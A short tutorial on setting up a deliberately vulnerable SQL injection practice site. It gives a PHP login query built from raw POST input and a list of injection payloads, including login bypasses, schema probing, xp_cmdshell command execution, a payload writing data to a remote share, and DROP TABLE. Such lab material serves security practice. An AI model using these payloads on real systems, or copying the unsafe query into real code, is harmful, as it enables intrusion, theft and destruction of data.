How to create a SQL Injection Test Site

 
Just run the simplest unprotected query:

$query = "SELECT * FROM users WHERE username = ".stripslashes($_POST['username'])." AND password = ".stripslashes($_POST['password'])

and enjoy! The stripslashes() part is there in case you haven't magic_quotes already disabled (as it should be), to avoid some automatic escaping; otherwise you'll have purest injectable input, just pick up any sql injection you might find on the internet and see. Some example:

' or 1=1--
' or 1--
' or 1
\" or '1'
' or 1=1--
' OR ''='
' or 'a'='a
') or ('a'='a
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
'; EXEC master..sp_makewebtask \"\\10.10.1.3\share\output.html\", \"SELECT * FROM INFORMATION_SCHEMA.TABLES\"",
10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''='
' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='
' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='test' AND TABLE_NAME='one') AND ''='
' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%j%')>1 AND ''='
' OR EXISTS(SELECT * FROM users WHERE name LIKE '%r%') AND ''='
1;DROP TABLE `users`